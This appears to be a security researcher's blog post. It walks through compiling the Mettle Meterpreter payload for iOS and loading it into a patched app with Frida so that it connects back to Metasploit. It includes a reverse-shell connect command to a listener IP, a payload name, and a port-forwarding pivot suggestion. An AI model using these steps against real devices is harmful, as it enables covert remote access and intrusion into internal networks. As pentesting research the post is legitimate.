For a long time I have wondered about getting Meterpreter running on an iOS device using Frida. It wasn’t until I had a Twitter conversation with @timwr that I was reminded of Mettle. It was finally time to give it a try. I built an objection plugin that would load it for you, which you can find here.
My talk at DEF CON 27 mainly covered some ideas on how we could interact with live object instances in interesting ways. However, there were also some examples of how we could use Frida’s Module.load()
API to side load existing external tooling that come in the form of shared libraries (either by default or wrapping them ourselves). With Mettle targeting low-resource or embedded devices, its native code approach meant it also supported iOS. So if we could get a compiled Mettle dylib, we could load it with Frida. You don’t need Frida to load a dylib of course. Using something like insert_dylib would work just as well. The nice thing about using something like Frida though is that we have some external control over the loading process and any post processing that we may need.
Exploring Mettle
Before we dive into all of that, lets first explore Mettle a bit. I cloned the Mettle repository and had a look around. First the README, then the Makefile and so forth. Compiling Mettle was really, really simple. In fact, all I had to do on macOS was type make
. Not specifying a target will have Mettle compile for the current host OS. The result was a mettle
binary in the build directory for darwin.x86_64
.
Using the resultant mettle
binary just like that was not particularly useful. I tried out the console -c
but quickly realised I needed to specify where to connect to with the --uri
flag. Alright, to Metasploit I go, start a new multi handler and use a macOS meterpreter payload. Next I start mettle
with ./mettle -u tcp://10.2.10.215:4444
. It took a few tries to get the URI format right, but in the end I got a new meterpreter session to open.
Neat! As you would expect, whatever macOS post exploitation modules exist, should work now. With some basics down, it was time to explore how to get this going on iOS.
Compiling for iOS
Mettle has a few make
targets defined using a TARGET
value. You can see them in the README file here. For a modern iOS device, the target would be aarch64-iphone-darwin
. So to build Mettle for iOS, run make TARGET=aarch64-iphone-darwin
.
Moments later, a new dylib should appear in build/aarch64-iphone-darwin/bin
.
Using Mettle on iOS
Neat! But how do I use it? The shared library had a ton of exports, so it was not immediately clear to me how to initiate a connection from the outside. Maybe I could just invoke main()
?
I looked at existing implementations of using Mettle from Metasploit, and saw this payload for the watchOS exploit, CVE-2017-13861. While the exploit itself is not really important here, the invocation of Mettle was interesting in that main()
simply got invoked with the arguments it needs. Alright, I could do that with Frida!
We have a dylib, but we need to get it to a device. Using objections filemanager on a patched application, we can make quick work of that. I uploaded the codesigned dylib to my target applications documents directory.
Now to load and execute it. For this I wen’t back to the Frida command line and a fresh script to play with the mettle.dylib
. As previously mentioned loading the dylib
is already possible using the Module.load()
Frida API. So, the first part of the new script simply determined the path to the applications Documents directory and built up a variable to mettle.dylib
. I tested the script itself with the Frida command line using frida -U Gadget --runtime=v8 -l mettle.js
.
With the path at hand, a simple Module.load(dylibPath);
was all that was needed to get Mettle loaded. Unfortunately, loading Mettle like this actually triggered a Frida bug (which I am hoping to have a patch for soon). Nothing a try{}catch{}
couldn’t solve though! :D Instead of Module.load()
returning a handle to mettle.dylib
, we just had to resolve that manually after the load with var mettle = Process.getModuleByName("mettle.dylib");
. I confirmed that the load was actually successful by running a mettle.enumerateExports()
and checking that it corresponds with my earlier r2
output.
With the dylib loaded, it was time to execute main()
. As you would expect for most main()
invocations, you either have no arguments, or an argc
, and an argv[]
. I wanted to pass along three arguments, so argc
would be 3
. The arguments themselves would be the binary name, mettle
and then -u
with a target.
At this point I was having quite a bit of trouble replicating a pointer to an array of string pointers for *argv[]
using the Frida API, but thankfully I remembered about Frida’s new CModule
! This meant I could just write a function in C that would get me the correct structure for an argv[]
and pass that to Mettle’s main()
. The CModule
uses tcc under the hood, so I just had to make sure my function compiled fine using that. I created a test program locally just to make sure everything actually worked. That looked as follows:
Testing this function was also really easy. I just called it in a main()
function recursively, and ran it with tcc -run main.c
. With that out of the way, I slapped get_args()
into my Frida script and tested it from there. I needed to change my call from malloc()
to g_malloc()
as Frida was only including a very minimal set of headers available in its implementation of the embedded compiler.
Using this new CModule
variable with a new NativeFunction()
definition, I now had an argv()
JavaScript function I could call which should give me the pointer I need for *argv[]
in Mettles main. How cool is that! The only thing left to do was to was to configure Metasploit to listen (like we did previously, but this time choosing the apple_ios/aarch64/meterpreter_reverse_tcp
payload) and to get a pointer to main()
to call. We can get that by simply calling findExportByName("main");
and wrapping it in a new NativeFunction()
.
So to bring all of this together, I launched my test application, uploaded mettle.dylib
to the apps Documents directory and ran my new Frida script with the correct IP:PORT combination in the C module where Metasploit was listening.
At this point, whatever features Meterpreter has for you are available using the session that just connected. For example, we could setup a port forward to another web server (think a webserver the device can access from the internal Wireless network it may be connected to..).
Conclusion
Let’s recap. We modified an iOS app to load Frida (something objection can help you with), then compiled and loaded the Mettle shared library and finally called the main entrypoint for Mettle and let it connect to Metasploit. Neat! While you can totally do this process manually every time, I instead added a new objection plugin that will automatically load a mettle.dylib and connect it for you.
#hacktheplanet